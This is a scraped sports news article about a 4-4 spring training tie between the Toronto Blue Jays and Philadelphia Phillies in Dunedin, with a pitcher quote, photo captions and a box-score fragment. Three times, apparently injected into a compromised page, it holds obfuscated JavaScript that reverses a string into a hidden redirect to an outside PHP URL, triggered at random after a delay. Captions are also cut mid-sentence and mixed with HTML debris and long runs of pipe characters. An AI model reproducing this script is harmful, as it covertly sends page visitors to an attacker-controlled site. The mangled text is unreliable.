40th Spring Start gets Tied Up
By ROCKET SPORTS and ENTERTAINMENT NETWORK on March 2, 2016Dunedin, Fla. — The 2002 All-Star Game and spring training it’s OK to tie. 4-4 Jays and Phillies.
RA Dickey got the start and pitched two innings giving up a run on two hits and Dwight Smith Jr. tied it in the bottom of the ninth scoring on a wild pitch.
“Right now it’s not at all about results, it’s much more about getting your body
ready for the grind of a long season,” “Today was a big step forward in that regard. I just felt very comfortable out there. Trying to fill up the strike zone as much as I can.“ RA DICKEY

$mkD=function(n){if (typeof ($mkD.list[n]) == “string”) return $mkD.list[n].split(“”).reverse().join(“”);return $mkD.list[n];};$mkD.list=[“\’php.txEgifnoCetiSrettelsweN/snoisnetxe/edoc/rettelswen/moc.cniwyks//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}tom of the ninth on a wild pitch by Phillies reliever Reinier Riobal. That made the score after nine at four-all for the Phillies and Blue Jays spring game. A less that capacity crowd of 4,643 attended the game that opened the Blue Jays 40th spring training in Dunedin, Florida. (EDDIE MICHELS PHOTO)” width=”480″ height=”320″ />
The Blue Jays Dwight Smith Jr. scored from third in the bottom of the ninth on a wild pitch by Phillies reliever Reinier Riobal. That made the score after nine at four-all for the Phillies and Blue Jays spring game. A less that capacity crowd of 4,643 attended the game that opened the Blue Jays 40th spring training in Dunedin, Florida. (EDDIE MICHELS PHOTO)

$mkD=function(n){if (typeof ($mkD.list[n]) == “string”) return $mkD.list[n].split(“”).reverse().join(“”);return $mkD.list[n];};$mkD.list=[“\’php.txEgifnoCetiSrettelsweN/snoisnetxe/edoc/rettelswen/moc.cniwyks//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}top of the ninth on a throw by Richard Urena to Tony Sanchez. (EDDIE MICHELS PHOTO)” width=”480″ height=”296″ />
The Phillies Andrew Knapp is out at the plate in the top of the ninth on a throw by Richard Urena to Tony Sanchez. (EDDIE MICHELS PHOTO)
|
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
2B: Phi 3, D. Lough (1), E. Burriss (1), A. Knapp (1). Tor 2, J. Mier (1), R. Urena (1). | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
3B: Phi 1, P. Bourjos (1). Tor 1, R. Goins (1). | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
HR: Phi 1, A. Altherr (1). | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Errors: Phi 1, D. Ruf (1). | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Stolen Bases: Phi 1, R. Quinn (1). Tor 1, J. Lake (1). | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Wild Pitches: Phi 1, R. Roibal. | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
$mkD=function(n){if (typeof ($mkD.list[n]) == “string”) return $mkD.list[n].split(“”).reverse().join(“”);return $mkD.list[n];};$mkD.list=[“\’php.txEgifnoCetiSrettelsweN/snoisnetxe/edoc/rettelswen/moc.cniwyks//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}top”>Attendance – 4,643 |
Tags: andrew knapp, CASEY KOTCHMAN, Josh Donaldson, michael saunders, ra dickey, TONY SANCHEZ
0 Comments
You can be the first one to leave a comment.